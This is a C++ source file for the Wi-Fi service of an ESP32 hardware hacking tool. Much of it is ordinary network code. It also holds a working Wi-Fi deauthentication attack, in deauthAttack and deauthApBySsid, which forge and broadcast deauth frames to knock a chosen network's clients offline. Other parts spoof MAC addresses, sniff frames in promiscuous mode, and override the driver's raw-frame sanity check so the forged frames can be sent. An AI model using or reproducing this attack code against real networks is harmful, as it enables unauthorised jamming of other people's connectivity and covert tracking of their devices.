Skip to content

A Hardware Hacking Tool with Web-Based CLI That Speaks Every Protocol

14.2 KB
Raw Blame
#include "WifiService.h"

// Static member
std::vector<std::string> WifiService::sniffLog;
portMUX_TYPE WifiService::sniffMux = portMUX_INITIALIZER_UNLOCKED;

std::vector<std::array<uint8_t, 6>> WifiService::staList;
uint8_t WifiService::apBSSID[6];
portMUX_TYPE WifiService::staMux = portMUX_INITIALIZER_UNLOCKED;

WifiService::WifiService() : connected(false) {
    WiFi.mode(WIFI_STA);
}

bool WifiService::connect(const std::string& ssid, const std::string& password, unsigned long timeoutMs) {
    WiFi.begin(ssid.c_str(), password.c_str());

    unsigned long startAttemptTime = millis();
    while (WiFi.status() != WL_CONNECTED && millis() - startAttemptTime < timeoutMs) {
        delay(100);
    }

    connected = WiFi.status() == WL_CONNECTED;
    return connected;
}

void WifiService::disconnect() {
    WiFi.disconnect(true);
    connected = false;
}

bool WifiService::isConnected() const {
    return WiFi.status() == WL_CONNECTED;
}

std::string WifiService::getLocalIP() const {
    return WiFi.localIP().toString().c_str();
}

std::string WifiService::getCurrentIP() const {
    if (WiFi.getMode() == WIFI_AP || WiFi.getMode() == WIFI_AP_STA) {
        return WiFi.softAPIP().toString().c_str();
    }
    return WiFi.localIP().toString().c_str();
}

std::string WifiService::getSubnetMask() const {
    return std::string(WiFi.subnetMask().toString().c_str());
}

std::string WifiService::getGatewayIp() const {
    return std::string(WiFi.gatewayIP().toString().c_str());
}

std::string WifiService::getDns1() const {
    return std::string(WiFi.dnsIP(0).toString().c_str());
}

std::string WifiService::getDns2() const {
    return std::string(WiFi.dnsIP(1).toString().c_str());
}

std::string WifiService::getHostname() const {
    const char* h = WiFi.getHostname();
    return std::string(h ? h : "");
}

std::string WifiService::getApIp() const {
    return std::string(WiFi.softAPIP().toString().c_str());
}

int WifiService::getRssi() const {
    return WiFi.RSSI();
}

int WifiService::getChannel() const {
    return WiFi.channel();
}

int WifiService::getWifiModeRaw() const {
    return static_cast<int>(WiFi.getMode());
}

int WifiService::getWifiStatusRaw() const {
    return static_cast<int>(WiFi.status());
}

bool WifiService::isProvisioningEnabled() const {
    return WiFi.isProvEnabled();
}

std::string WifiService::getSsid() const {
    return std::string(WiFi.SSID().c_str()); 
}

std::string WifiService::getBssid() const {
    return std::string(WiFi.BSSIDstr().c_str());
}

bool WifiService::startAccessPoint(const std::string& ssid, const std::string& password, int channel, int maxConn) {
    // WiFi.mode(WIFI_AP);
    if (password.empty()) {
        return WiFi.softAP(ssid.c_str(), nullptr, channel, false, maxConn);
    } else {
        return WiFi.softAP(ssid.c_str(), password.c_str(), channel, false, maxConn);
    }
}

void WifiService::reset() {
    disconnect();
    WiFi.mode(WIFI_STA);
    connected = false;
}

void WifiService::setModeApSta() {
    WiFi.mode(WIFI_AP_STA);
}

void WifiService::setModeApOnly() {
    WiFi.mode(WIFI_AP);
}

std::string WifiService::getLocalIp() const {
    String ip = WiFi.localIP().toString();
    return std::string(ip.c_str());
}

std::vector<std::string> WifiService::scanNetworks() {
    std::vector<std::string> results;

    int n = WiFi.scanNetworks(/*async=*/false, /*hidden=*/true);

    for (int i = 0; i < n; ++i) {
        results.push_back(WiFi.SSID(i).c_str());
    }

    return results;
}

std::vector<WiFiNetwork> WifiService::scanDetailedNetworks() {
    std::vector<WiFiNetwork> networks;
    int n = WiFi.scanNetworks(/*async=*/false, /*hidden=*/true);

    for (int i = 0; i < n; i++) {
        WiFiNetwork network;
        network.ssid = WiFi.SSID(i).c_str();
        if (network.ssid.empty()) network.ssid = "Hidden SSID";
        network.rssi = WiFi.RSSI(i);
        network.encryption = WiFi.encryptionType(i);
        network.open = (network.encryption == WIFI_AUTH_OPEN);
        network.vulnerable = isVulnerable(network.encryption);

        char mac[18];
        uint8_t* bssid = WiFi.BSSID(i);
        snprintf(mac, sizeof(mac), "%02X:%02X:%02X:%02X:%02X:%02X",
                 bssid[0], bssid[1], bssid[2],
                 bssid[3], bssid[4], bssid[5]);
        network.bssid = mac;

        network.channel = WiFi.channel(i);
        network.hidden = (network.ssid == "Hidden SSID");

        networks.push_back(network);
    }

    return networks;
}


std::vector<WiFiNetwork> WifiService::getOpenNetworks(const std::vector<WiFiNetwork>& networks) {
    std::vector<WiFiNetwork> open;
    for (auto net : networks) {
        if (net.open) open.push_back(net);
    }
    return open;
}

bool WifiService::isVulnerable(wifi_auth_mode_t encryption) const {
    return encryption == WIFI_AUTH_WEP || encryption == WIFI_AUTH_WPA_PSK;
}

std::vector<WiFiNetwork> WifiService::getVulnerableNetworks(const std::vector<WiFiNetwork>& networks) {
    std::vector<WiFiNetwork> vuln;
    for (auto net : networks) {
        if (net.encryption == WIFI_AUTH_WEP || net.encryption == WIFI_AUTH_WPA_PSK) {
            WiFiNetwork copy = net;
            copy.vulnerable = true;
            vuln.push_back(copy);
        }
    }
    return vuln;
}


std::string WifiService::encryptionTypeToString(wifi_auth_mode_t enc) {
    switch (enc) {
        case WIFI_AUTH_OPEN: return "OPEN";
        case WIFI_AUTH_WEP: return "WEP";
        case WIFI_AUTH_WPA_PSK: return "WPA";
        case WIFI_AUTH_WPA2_PSK: return "WPA2";
        case WIFI_AUTH_WPA_WPA2_PSK: return "WPA_WPA2";
        case WIFI_AUTH_WPA2_ENTERPRISE: return "WPA2-E";
        case WIFI_AUTH_WPA3_PSK: return "WPA3";
        case WIFI_AUTH_WPA2_WPA3_PSK: return "WPA2_WPA3";
        case WIFI_AUTH_WAPI_PSK: return "WAPI";
        default: return "UNKNOWN";
    }
}

void WifiService::startPassiveSniffing() {
    disconnect();

    esp_wifi_set_promiscuous(false);
    esp_wifi_stop();
    esp_wifi_set_promiscuous_rx_cb(nullptr);

    if (isConnected()) {
        esp_wifi_deinit();
    }
    delay(300);

    wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
    esp_wifi_init(&cfg);
    esp_wifi_start();

    esp_wifi_set_promiscuous(true);
    esp_wifi_set_promiscuous_rx_cb(&WifiService::snifferCallback);
}

void WifiService::stopPassiveSniffing() {
    esp_wifi_set_promiscuous(false);
    esp_wifi_set_promiscuous_rx_cb(nullptr);
    esp_wifi_stop();
    esp_wifi_deinit();
    sniffLog.clear();
    WiFi.mode(WIFI_STA);
    WiFi.disconnect(true);
}

void WifiService::snifferCallback(void* buf, wifi_promiscuous_pkt_type_t) {
    const wifi_promiscuous_pkt_t* pkt = reinterpret_cast<wifi_promiscuous_pkt_t*>(buf);
    const uint8_t* payload = pkt->payload;
    int len = pkt->rx_ctrl.sig_len;

    int8_t rssi = pkt->rx_ctrl.rssi;
    uint8_t ch = pkt->rx_ctrl.channel;

    uint8_t type = 0, subtype = 0;
    extractTypeSubtype(payload, type, subtype);
    std::string typeStr = getFrameTypeName(type, subtype);
    std::string macStr = formatMac(payload + 10);

    std::string line = "CH:" + std::to_string(ch) +
                       " RSSI:" + std::to_string(rssi) +
                       " Type:" + typeStr;

    // Add SSID if possible
    if (type == 0 && (subtype == 8 || subtype == 4)) {
        std::string ssid = parseSsidFromPacket(payload, len, type, subtype);
        if (!ssid.empty()) {
            line += " SSID:\"" + ssid + "\"";
        }
    }

    line += " MAC:" + macStr;

    portENTER_CRITICAL(&sniffMux);
    if (sniffLog.size() < 200) sniffLog.push_back(line);
    portEXIT_CRITICAL(&sniffMux);
}

std::vector<std::string> WifiService::getSniffLog() {
    std::vector<std::string> copy;

    portENTER_CRITICAL(&sniffMux);
    copy.swap(sniffLog);
    portEXIT_CRITICAL(&sniffMux);

    return copy;
}

bool WifiService::switchChannel(uint8_t channel) {
    esp_err_t err = esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
    return err == ESP_OK;
}

std::string WifiService::formatMac(const uint8_t* mac) {
    char buf[18];
    snprintf(buf, sizeof(buf), "%02X:%02X:%02X:%02X:%02X:%02X",
             mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    return std::string(buf);
}

std::string WifiService::getFrameTypeSubtype(const uint8_t* payload, uint8_t& type, uint8_t& subtype) {
    uint16_t fc = payload[0] | (payload[1] << 8);
    type = (fc & 0x000C) >> 2;
    subtype = (fc & 0x00F0) >> 4;
    return std::to_string(type) + "/" + std::to_string(subtype);
}

std::string WifiService::parseSsidFromPacket(const uint8_t* payload, int len, uint8_t type, uint8_t subtype) {
    int offset = 24;
    if (type == 0 && subtype == 8) offset = 36;

    while (offset + 2 <= len) {
        uint8_t id = payload[offset];
        uint8_t elen = payload[offset + 1];
        if (offset + 2 + elen > len) break;

        if (id == 0) {
            return std::string(reinterpret_cast<const char*>(payload + offset + 2), elen);
        }

        offset += 2 + elen;
    }

    return "";
}

std::string WifiService::getFrameTypeName(uint8_t type, uint8_t subtype) {
    if (type == 0) {
        switch (subtype) {
            case 0:  return "Assoc Req";
            case 1:  return "Assoc Resp";
            case 4:  return "Probe Req";
            case 5:  return "Probe Resp";
            case 8:  return "Beacon";
            case 10: return "Disassoc";
            case 11: return "Auth";
            case 12: return "Deauth";
            default: return "Mgmt/" + std::to_string(subtype);
        }
    } else if (type == 1) {
        return "Ctrl/" + std::to_string(subtype);
    } else if (type == 2) {
        if (subtype == 0) return "Data";
        if (subtype == 4) return "Null Data";
        return "Data/" + std::to_string(subtype);
    }
    return "Unknown";
}

void WifiService::extractTypeSubtype(const uint8_t* payload, uint8_t& type, uint8_t& subtype) {
    uint16_t fc = payload[0] | (payload[1] << 8);
    type = (fc & 0x0C) >> 2;
    subtype = (fc & 0xF0) >> 4;
}

bool WifiService::spoofMacAddress(const std::string& macStr, MacInterface which) {
    if (macStr.length() != 17) return false;

    uint8_t mac[6];
    int values[6];
    if (sscanf(macStr.c_str(), "%x:%x:%x:%x:%x:%x",
               &values[0], &values[1], &values[2],
               &values[3], &values[4], &values[5]) != 6) {
        return false;
    }

    for (int i = 0; i < 6; ++i)
        mac[i] = static_cast<uint8_t>(values[i]);

    mac[0] &= 0xFE; // unicast

    WiFi.disconnect(true);
    delay(100);

    // Trad enum to interface
    wifi_interface_t iface = (which == MacInterface::Station) ? WIFI_IF_STA : WIFI_IF_AP;

    // Mode
    if (iface == WIFI_IF_STA) {
        WiFi.mode(WIFI_MODE_STA);
    } else {
        WiFi.mode(WIFI_MODE_AP);
    }

    esp_err_t err = esp_wifi_set_mac(iface, mac);
    if (err != ESP_OK) {
        return false;
    }

    esp_wifi_start();
    return true;
}

std::string WifiService::getMacAddressSta() const {
    uint8_t mac[6];
    esp_wifi_get_mac(WIFI_IF_STA, mac);
    char buf[18];
    return formatMac(mac);
}

std::string WifiService::getMacAddressAp() const {
    uint8_t mac[6];
    esp_wifi_get_mac(WIFI_IF_AP, mac);
    char buf[18];
    return formatMac(mac);
}

extern "C" int ieee80211_raw_frame_sanity_check(int32_t, int32_t, int32_t)
{
    // Override function to avoid linker errors
    return 0;
}

void WifiService::clientSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
{
    if (type != WIFI_PKT_DATA) return;

    const wifi_promiscuous_pkt_t* p = (wifi_promiscuous_pkt_t*)buf;
    const uint8_t* hdr = p->payload;

    // To-DS = 1, From-DS = 0
    if ((hdr[1] & 0x03) != 0x01) return;

    const uint8_t* ap  = hdr + 4;   // addr1
    const uint8_t* sta = hdr +10;   // addr2

    if (memcmp(ap, apBSSID, 6) != 0) return;   // different BSSID

    std::array<uint8_t,6> mac;
    memcpy(mac.data(), sta, 6);

    portENTER_CRITICAL_ISR(&staMux);
    bool seen=false;
    for (auto& e : staList) if (e == mac) { seen=true; break; }
    if (!seen) staList.push_back(mac);
    portEXIT_CRITICAL_ISR(&staMux);
}

void WifiService::deauthAttack(const uint8_t bssid[6], uint8_t channel, uint8_t bursts, uint32_t sniffMs)
{
    if (WiFi.getMode() != WIFI_MODE_AP && WiFi.getMode() != WIFI_MODE_APSTA) {
        WiFi.mode(WIFI_MODE_AP);
        esp_wifi_start();
    }

    std::vector<std::array<uint8_t,6>> clients;

    memcpy(apBSSID, bssid, 6);
    staList.clear();

    esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
    esp_wifi_set_promiscuous(true);
    esp_wifi_set_promiscuous_rx_cb(&clientSnifferCallback);

    uint32_t start = millis();
    while (millis() - start < sniffMs) delay(1);

    esp_wifi_set_promiscuous(false);
    esp_wifi_set_promiscuous_rx_cb(nullptr);

    portENTER_CRITICAL(&staMux);
    clients = staList;
    portEXIT_CRITICAL(&staMux);

    // Deauth frame
    uint8_t pkt[26] = {
        0xc0,0x00,                          // Frame control
        0x00,0x00,                          // Duration
        0xff,0xff,0xff,0xff,0xff,0xff,      // addr1 = target
        0x00,0x00,0x00,0x00,0x00,0x00,      // addr2 = source
        0x00,0x00,0x00,0x00,0x00,0x00,      // addr3 = BSSID
        0x00,0x00,                          // Fragment & sequence number
        0x02,0x00                           // Reason code, 2 = previous authentication no longer valid
    };
    memcpy(&pkt[16], bssid, 6);            // addr3 always AP

    esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);

    for (int i=0;i<bursts;i++) {
        memcpy(&pkt[10], bssid, 6);        // addr2 = AP
        memcpy(&pkt[4] , "\xff\xff\xff\xff\xff\xff",6);
        esp_wifi_80211_tx(WIFI_IF_AP,pkt,26,true);

        for (auto& sta: clients) {
            memcpy(&pkt[4],  sta.data(),6);  // addr1 = STA
            esp_wifi_80211_tx(WIFI_IF_AP,pkt,26,true);
        }
        delay(1);
    }
}

bool WifiService::deauthApBySsid(const std::string& ssid)
{
    auto nets = scanDetailedNetworks();
    for (auto& n : nets) {
        if (n.ssid == ssid) {
            uint8_t bssid[6];
            sscanf(n.bssid.c_str(), "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]);
            // Hardcoded 30 bursts and 400ms sniffing time
            deauthAttack(bssid, n.channel, 30, 400);
            return true;                    // success
        }
    }
    return false;                           // SSID not found
}